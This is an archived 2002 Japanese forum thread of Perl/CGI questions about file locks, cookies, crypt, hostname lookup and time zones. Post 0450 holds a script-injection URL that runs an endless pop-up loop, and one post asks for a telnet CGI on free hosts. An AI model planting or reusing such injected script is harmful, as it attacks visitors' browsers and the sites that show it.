トップページ⇒php
1001コメント311KB

CGIだけど、なんか質問ある? part 6

■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん02/04/23 20:28ID:Kp0cZQna
CGIスクリプトの運用に関する質問スレです。

<<注意:CGIは特定の言語に依存するものではありません>>

Perlのコーディングに関する質問はこちら
【Perl】初心者コーナーPart11
http://pc.2ch.net/test/read.cgi/php/1017201229/


過去ログは>>2
0352nobodyさん02/05/28 23:18ID:???
>>351
ありがとうございます。さっそくやってみます。
0353nobodyさん02/05/28 23:45ID:???
普通、フリーのCGIが使えるサーバーは
Perlの標準モジュールは使えるんでしょうか
CGIのサンプル見てもuse CGIとかしてないのは
それが邪道だからなのでしょうか?
今はinfoxxxkのサーバー借りたんですけど。
0354nobodyさん02/05/28 23:51ID:???
>>353
要するに椅子と。
何を必要とされているのか判らないが、特殊仕様につき多くは望めない。
詳しくは本家へ
035535302/05/29 00:44ID:???
やっぱそうか、ありがとうございます。
本家ってi○webに聞けってことっすか?
このperlではこれだけのモジュールが使えるよん、っておしえてくれる
perlのプログラムもしくは標準モジュールってないですかね?
OS判別の特殊辺変数とかはわかったんですが。
0356ウイルス?02/05/29 01:22ID:kYuEG1iJ
ログを見ていると、時々POSTが20発程自分のPCから発せられているみたいです。
掲示板への大量投稿になりそうですが、内容がないといったエラーが出て終わります。
どうも画面内にFORMがあるときにランダムで発生するような感じです。
対象サイトは特定されていないようです。
これはウイルスでしょうか。
0357nobodyさん02/05/29 02:24ID:???
>>355
標準モジュールとは何を以って定義される?
まずモジュール名を述べられよ
035835302/05/29 02:46ID:???
>>357
定義はラクダ本で説明してるモジュールですね
0359nobodyさん02/05/29 08:10ID:???
>>358
ハァ?
普通はperldoc perlmodlibに書いてあるモジュールのことだろ。<標準モジュール
ついでに意味の無い伏字はDQNに見えるから止めとけ。

>>356
それだけの情報で何をしろと?
0360nobodyさん02/05/29 16:48ID:???
>>358
んなことたろうと思った。
差詰め、mailかsocketかnet系と見た。
0361nobodyさん02/05/29 17:17ID:qd1jn0D7
質問。ためしに"SOLD OUT"っていうやつをDLしてきて
自分のPC上で動かしたら
"script produced no output "って表示された。
これ何?
0362nobodyさん02/05/29 17:22ID:???
英語読めないなら検索する努力をしてください。
http://www.google.co.jp/search?num=100&hl=ja&q=script+produced+no+output+&btnG=Google+%8C%9F%8D%F5&lr=lang_ja
0363文字の平均02/05/29 18:14ID:p/49wL6b
436578975
とランダムな1桁の数字が連続してあった場合、平均は足して個数で割りますが、

irsafwe
とランダムな1桁の文字が連続してあった場合、平均を出すには、
効率のよい処理がありましたら教えてください。
0364nobodyさん02/05/29 19:11ID:Ih3GfPrH
メールマガジンを出したいんだけど、
かなり使えるメールマガジンCGIて何がお勧め?
036536402/05/29 19:12ID:Ih3GfPrH
失礼。CGI探してるスレへ移行しま。
そーりー!
0366nobodyさん02/05/29 19:36ID:FAJbSgQ8
DOSDOSDOSDOSDOS
(゚Д゚)限界を越えて見せれば?
DOSDOSDOSDOSDOS
0367あぼーんNGNG
あぼーん
0368nobodyさん02/05/29 20:07ID:???
>>363
こんな感じか。

my $string = 'irsafwe';
my $char = my @char = split //,$string;
my $sum = 0;
foreach (@char) { $sum += unpack 'H2',$_ }
print "平均→",pack int($sum / $char);
0369nobodyさん02/05/29 20:09ID:???
抜けてた。
pack 'H2',int($sum / $char);
0370nobodyさん02/05/29 21:22ID:???
>>368
おい、おまえ前にも一度同じ過ちを犯さなかったか?
文字コードの値の十進値を得るのは unpack 'C*' だろうが。

ついでに言うと "文字の平均" などという脳内用語をよく理解できたな。
自作自演はもう少しうまくやれよ。
037136802/05/29 22:58ID:???
間違いを正して貰えるのはうれしいけど、
なぜ自作自演とか言われるんだろう…誰と間違えられてるんだ?
0372文字の平均02/05/29 23:08ID:C7p/YwNq
>>368
方法があったのですね。ありがとうございます。
一度数字を与えてから計算し、それを文字に戻す方法しか思いつかず、
効率が悪そうだったので他の方法がないか聞きました。
よく理解してないのですが端数はどうなるのか気になります。

>>370
何を怒ってるの?
厨房野郎は無視するぞ。
時間をかけて書いてくれた>>368にオレまで悪い気がするぜ。
でもunpack 'C*'は気になるので試させて頂きます。藁
0373nobodyさん02/05/29 23:34ID:???
>>372
>>370は怒り過ぎだが、"1桁の文字"とか"文字の平均"は、
説明が必要だろ。
端数がどうなるか気になるだと! どうしたいのか説明するのは君だ。
0374368=37002/05/30 01:58ID:???
ジサクジエン(・∀・)デシタ!!
0375nobodyさん02/05/30 02:50ID:???
lヽ
l 」∧_∧  
‖( ゚∀゚ ) < 誰が自作自演だ!!
⊂    つ 
  人  Y 
 し(_)
 
0376nobodyさん02/05/30 04:10ID:???
( ´,_ゝ`)プッ
0377nobodyさん02/05/30 05:05ID:???
lヽ
l 」∧_∧  
‖( ゚∀゚ ) < 何が( ´,_ゝ`)プッだ!!
⊂    つ 
  人  Y 
 し(_)
0378nobodyさん02/05/30 06:37ID:???
(・∀・)ニヤニヤ…
0379nobodyさん02/05/30 10:30ID:ANCdXfrn
グループ内で収支の報告ができるcgiってあります?
共有財産のお金の出入りをネット上で管理できるようなもの・・。
0380nobodyさん02/05/30 10:34ID:???
>>379
聞いた事ないな…自作しか無いと思われ
0381文字の平均02/05/30 13:04ID:JuT8Nhm1
>>373 >>368
>端数がどうなるか気になるだと! どうしたいのか説明するのは君だ。
まったくだよ。
また脳内用語になってしまうのが涙ですが、いわゆる四捨五入が希望です。
0382nobody02/05/30 14:03ID:CkO0lXEy
C-BOARDの過去ログを消す方法がわかりません。
記事のトータル数を設定しても変化なしです。
どうすればよいのでしょうか?
0383nobodyさん02/05/30 16:27ID:???
>>382
FTPでログインして消せ(藁
0384nobodyさん02/05/30 16:41ID:???
CGIでj-phoneの絵文字を表示させたいのですが
print "$E$\n";
では、やっぱり表示されませんでした。
何か良い方法ありませんか?
0385nobodyさん02/05/30 18:51ID:???
>>384
ここ見たら勉強になるかも
http://specters.net/cgipon/labo/jt_emoji.html
038637902/05/30 18:58ID:ANCdXfrn
漏れには作る腕が備わっていないので
誰か心優しきプログラマーの方、作ってください。
0387nobodyさん02/05/30 19:28ID:???
>386
いくら出しますか?
0388 02/05/30 20:53ID:dW3H9ZXb
>>1 すばらしいスレですね!
ぱーと1を立てた人は天才!ですね。。。。。
038937902/05/30 21:23ID:ANCdXfrn
1000えん、、、、、、、
こんな漏れは逝ってヨシですか?
0390厨房8号02/05/30 21:34ID:???
いまから仕様書を一時間で書きましょう。
んで、「コンテスト!これができたら天才!」とかスレをたてます。
だれかが何とかしてくれます。(藁
039137902/05/30 22:26ID:ANCdXfrn
よろしくです。ペコリ
>>390
そんな優しいアナタを好きになってもいいですか?
0392 02/05/30 23:54ID:dW3H9ZXb
>>386 実際は、たいした呪文かいてねーよ。
  
0393寂しい板の住人その102/05/31 00:02ID:???
>>379
要するに入金・出金・残高・項目(名目?)みたいなのがあって、
入金か出金か選んで入力すると、残高が表示されるようなものでOK?
039437902/05/31 01:08ID:3H9Irfe1
そーです。
039537902/05/31 01:18ID:???
早く作って下さい。
一体何をやっているんですか?
こっちには時間がないんです。
0396nobodyさん02/05/31 02:01ID:???
>>395偽者(w
バレバレだよ。君(w
0397nobodyさん02/05/31 02:04ID:???
>396
バレバレなのはみんなわかってるんだからさらっと流せよ…
恥ずかしい…
0398nobodyさん02/05/31 04:08ID:fmTNT6gi
友人に
「なぁお前プログラムできんだろ
あのさー出会い系サイトみたいなCGI作って欲しいんだけど
検索も、登録料の振込みも、メンテも、パスの管理も
できるようにして欲しいんだけど、やってくれるよね、よろしく」
とか言われたんですが、自分はCGIなんて触ったこともないんです。

で、変な質問で申し訳無いのですが
1から始めるとしたら、人によるかと思われますが、
どれぐらいの時間がかかるのでしょうか
また、DBの管理などで
他の物も覚えなきゃならなかったりするのでしょうか
もしくは、上手な断り方は無いでしょうか
0399上手な断り方02/05/31 04:25ID:???
なぁお前プログラムできんだろ??
できん!
0400nobodyさん02/05/31 04:32ID:???

今だ!400番ゲットォォォォ!!
 ̄ ̄ ̄ ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄
     ∧∧  ∧∧ ドドドドドド・・・・
    (゚Д゚ ,,) (゚Д゚ ,,)  ∧∧      (´´
    ⊂_⊂V⊂ ⊂ )⊂(゚Д゚ ,,)_/(´´
     Y /⊃ | .L⊃∧∧∪ _⊃(´⌒(´
   ドカ ∪∧∧J⊂(x _x⊂ノ(´⌒(´  (´´
 ドカ  ⊂(゚Д゚⊂⌒`つ≡≡≡(´⌒;;;≡≡≡
    ズザ・・・

0401nobodyさん02/05/31 05:49ID:???
>>398
ここに聞く時点であなたはプログラマでなく。
なんちゃってプログラマです。
この板の住人は90%の厨房と10%のせつなさで
できています。あきらめてめざましでも見ときましょう。
0402nobodyさん02/05/31 07:53ID:M0PK8uW/
別のレンタルサーバに移転したらCGIが動かなくなってしまいました。
ファイルロック用のディレクトリが作れないようです。
mkdir($lockfile, 0755);
こうやってます。LINUXのアパッチです。原因にお心当たりのある方、ご助言お願いします。
0403nobodyさん02/05/31 08:23ID:???
>>402
ディレクトリを作ろうとしているディレクトリ(意味解るよね?)のパーミッションどうなってるの?
0404nobodyさん02/05/31 08:31ID:M0PK8uW/
今は777にしてます。通常はもちっと安全にしてますです。
宜しくお願いします。
0405nobodyさん02/05/31 08:49ID:???
>>404
ディレクトリに 777 設定すると駄目な鯖があるって聞いた事があるぞ。
0406nobodyさん02/05/31 09:01ID:uYbpY71A
777OKのサバでしたー。助けてー
0407せつなさ02/05/31 09:08ID:???
>>401 うさぎが迷い込んだら死ぬような板だな。
0408nobodyさん02/05/31 09:21ID:???
>>406
エラーメッセ確認しる
040939802/05/31 09:49ID:???
>>401
ていうか私はなんちゃってプログラマーでもなく
ただのしがない、今日は学校が祝日な高校生ですので
私の友達で、若くして会社を設立していろいろな事業に
手を出してきて今度は出会い系かなぁでも外注で
作ってもらったら金かかるなぁ、とか考えていた彼が
私がCの本を読んでいたのを思い出したのか
250万かかる仕事を私に押し付けるメールを
夜中の4時に送りつけてきたので、上記の質問をしたのでしたが

やっぱ普通に断ろうと思います
0410nobodyさん02/05/31 09:53ID:???
>>406
1.error_log 提供している鯖ならそれを参照
2.telnet ポート開けている鯖ならコマンドラインから、そのperlスクリプトを
起動してエラー確認
0411nobodyさん02/05/31 11:23ID:???
>402
相対パスの使えない鯖とかは?
場所によっては特定の関数だけ絶対パス指定しないといけないレン鯖とかあるよ。
0412ato02/05/31 12:19ID:juLGZYor
http://xxx.co.jp/cgi-bin/a.cgiで設定したクッキーを
http://yyy.co.jp/cgi-bin/b.cgiで内容を消去することはできるでしょうか?
なんど試しても消すことができません。
ドメインやパスが関係するのでしょうか?
041340202/05/31 13:21ID:???
みなさんありがとうございます。
とりあえず411さんご指摘の点を確認してみます。
410さんのは残念ながらどちらも参照できません。
041440102/05/31 13:45ID:???
>>409
(>Д<)カァーッ もったいね。
アパッチとjcode.plてにいれてどっかからBBSのさんぷるダウンロードして
いじればよかろうに。DBはcsvなら生perlで操作できるし。
認証登録はJavaScriptとくみあわせで。
ねたじゃないならがんばれよ。
0415-02/05/31 17:26ID:???
>>412
別ドメインからは無理ちゃうか?
0416ato02/05/31 18:09ID:juLGZYor
>>415
やっぱりそうですか・・・
これってクッキーの仕様なんですよね。
0417Miku02/05/31 21:50ID:Hmv37ygh
Part3より >nobodyさん
ありがとうございましたー。

ってことはCGIはどうやってUPするのでしょうか?
WEB管理領域からひとつづつファイルをUPしなくちゃいけないのでしょうか?
それでも、CGIって動くものなのですか?
イラストはUPできたのですがそのほかの動かすためのものと思われるファイルは
拡張子が間違ってる(確かこんな文でした)と出てしまってUPできませんでした。
よい方法があったら教えてください。
よろしくお願いします。
0418nobodyさん02/05/31 22:24ID:???
>>417
手っ取り早いのは、
http://pc.2ch.net/perl/
を見て別なところに移る。
0419Miku02/05/31 23:16ID:Hmv37ygh
>nobodyさん
いろいろありがとうございます。
早速、色々行ってみようと思いますー
0420nobodyさん02/06/01 19:40ID:nzbM1s7O
clyptコマンドでpassを扱うのと普通に
扱うのではどう違うのでしょうか?私の知識の範囲ではpassを暗号化して
扱うとのことでしたが外からcgi動作がみられるからなのでしょうか??
0421nobodyさん02/06/01 21:04ID:???
cryptな。
見られてもパスがバレないように暗号化してる。
042242002/06/01 21:59ID:nzbM1s7O
その「見られる」というのはどの部分をどんな風に見られるのでしょうか?
それとそれはだれでもできちゃうのでしょうか?
0423nobodyさん02/06/01 22:10ID:???
>422
家の鍵を二重三重にする人いるよな?
家の鍵一つだと心配だからだ。
鍵一つこじ開けるのは誰にでも出来るわけじゃないが、鍵を二重三重にする必要はある。
それだけ大事な物があるんだ。
誰にでも見られるかどうかじゃない。
誰か一人に見られたらそこから広まるかもしれないんだ。
0424nicebody02/06/01 22:45ID:kZhOwKpM
>>422
どの部分っていうと、やっぱりログとか。
暗号化されてないと、ログ見て一発でわかっちまーうような
042542002/06/02 00:01ID:KPQ1rimm
じゃあclyptさえしておけばばっちりってことでいいんですよね。
0426nobodyさん02/06/02 00:04ID:???
+α。その辺は独自開発で決め!もっともrandを失敗していたら話にならんが
042742002/06/02 00:07ID:KPQ1rimm
ありがとうございました。
がんばってみます。
それともしよければ自己チェックのためにそのログかなんかで
覗く方法みたいなものを教えてもらえないでしょうか?
面倒ならいいです。
0428nobodyさん02/06/02 00:14ID:???
>427
厨が実践したりすると後が面倒だから嫌。
0429nobodyさん02/06/02 11:25ID:YzkleNfh
tripod.comにアクセス解析を設置して外部から呼び出して使っているのですが
HOST部分が210.0.xxx.xxxのような表示になっているんです。
同じCGIをそのままtripod以外の日本のサーバから呼び出したばあいは
abcd.11.co.jpみたいな表示になるんですが、tripodでもこのように表示させたいのです。
どう書きかえればいいんでしょうか。
0430 02/06/02 11:35ID:???
>>429
どんなアクセスかもわからんでどこを書き換えればいいかわかると思うか?
043142902/06/02 11:42ID:YzkleNfh
>>430
すいません、どんなアクセスかとはどういう意味ですか?
訪問者のリファ、OS、ブラウザ、HOSTなどを取得するアクセス解析なのですが。
0432 02/06/02 11:51ID:???
>>431
そういうのをアクセス解析というぐらいは誰でも知ってる。
IPアドレスじゃなくホスト名で表示させるのにCGIがどの方法で
やってるかがわからないと答えようがないってこと。
043342902/06/02 11:59ID:YzkleNfh
どの方法でやってるかはホストを取得するところでわかりますか?
それならこの部分だと思うのですが。

$host = $ENV{'REMOTE_HOST'};
$addr = $ENV{'REMOTE_ADDR'};
if ($host eq "" || $host eq "$addr") {
($p1,$p2,$p3,$p4) = split(/\./,$addr);
$temp = pack("C4",$p1,$p2,$p3,$p4);
$host = gethostbyaddr("$temp", 2);
if ($host eq "") { $host = $addr; }
}
0434nobodyさん02/06/02 12:13ID:???
>>433( ゚д゚)ポカーン
0435nobodyさん02/06/02 12:16ID:???
>>429
やっと、質問の意味が解った。IPアドレス表記をホスト名表記に
すれにはどうしたらいいですか? という質問だろ?

答え:無理です

理由:
インターネット上のコンピューターにはIPアドレスが割り振られても
【名前】まで付けられているとは限らないからです
043642902/06/02 12:21ID:???
>>435
ガーン・・、そうなんですか。
納得しました。親切に答えて頂いてありがとうございました。
0437教えて君02/06/02 15:01ID:Tbi7w50X
時差を調節したいのですが どこをいじればいいでしょうか?

($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) = localtime(time);
$year += 1900;
$month = $mon + 1;
@dayname = ('日','月','火','水','木','金','土');

このあたりが怪しいと思うのですが見当違いですか?
初心者でスンマセン
0438おいらのはこんなかんじ02/06/02 15:06ID:???
localtime(time + 15*60*60);
0439教えて君02/06/02 15:08ID:Tbi7w50X
ありがとうございます
0440nobodyさん02/06/02 16:58ID:???
無料鯖で使えるtelnet.cgiって今配布されてますか?
今までのが使えなくて困ってます。
0441nobodyさん02/06/02 19:31ID:???
馬鹿じゃないですか?
0442nobodyさん02/06/02 20:42ID:vm77zLAn
kentwebさんのgatexを設置したいのですが、ユーザーに自分でパスを発行させるcgiを設置した所index.htmlから入力すると、
↓こんなのが出ます。
Internal Server Error

設定は〜〜〜〜〜〜〜〜〜
#!/usr/local/bin/perl
# jcode.pl取込み
require './jcode.pl';
# 隠しディレクトリへのパス
$target_dir = "/home/自分のID/public_html/gatex";
# ID/PASS記録ファイル
$passfile = 'pass.txt';
# ログ履歴ファイル
$reclog = 'log.dat';
# methodの形式(POST/GET)
$method = 'POST';
# スクリプトファイル名
$script = './regist.cgi';
# 登録内容は登録者へメール通知 (0=no 1=yes)
$mailing = 0;
# 管理者の名前 (メール通知の時の署名)
$admin = "管理人";
# 管理者のメールアドレス
$my_mail = '◎◎◎@.ne.jp';
# sendmailパス
$sendmail = '/usr/sbin/sendmail';

に変更後、ディレクトリ/public_html/gatex
の中にindex.html(パス発行�n755)regist.cgi(実行ファイル755)jcode.pl(644)を入れています。
初心者の為どうしていいのかわかりません。
易しく教えて頂けませんか?検索しましたが自動発行に関するのは無かったので…
0443nobodyさん02/06/02 21:25ID:???
>442
kentで聞け。
特定の一つのCGIに対する挙動の場合は、配布場所に聞くのが一番確実。
0444ぎもじら02/06/02 21:41ID:???
質問です

パールの機能で、あるプログラムにデータを送信する手段は何ですか?
例えば、ある起動中のプログラム192.168.1.1の4545ポートを空けた
やつに自作コマンドを送信したいんだけど。

つまり、パールにソケット関数みたいなものはありますか?
0445nobodyさん02/06/02 21:58ID:???
>>444
use Socket;
0446nobodyさん02/06/02 22:09ID:???
一番下のCGIの部分が、うまく表示できません。
http://www.bh.wakwak.com/~min/cgi-bin/monoceros.cgi
何がいけないんでしょうか・・・
お教えいただければ幸いです。

0447nobodyさん02/06/02 22:24ID:???
>一番下のCGIの部分

意味不明。アクセスログの部分か?
0448ぎもじら02/06/02 22:36ID:???
>>445
パールってなんでもできるのねすごい
0449nicebody02/06/02 23:36ID:A1RKGC+Y
>>446
CGI Errorと出るのだが。

>>448
他の言語でも出来るかと。
0450 02/06/03 02:58ID:???
http://ime.nu/www.tinpo.com>;<script>while(1){window.open(&);};</script>/
0451nobodyさん02/06/03 07:08ID:yzIL9oyQ
転送量を測るCGIってあるのでしょうか?
■ このスレッドは過去ログ倉庫に格納されています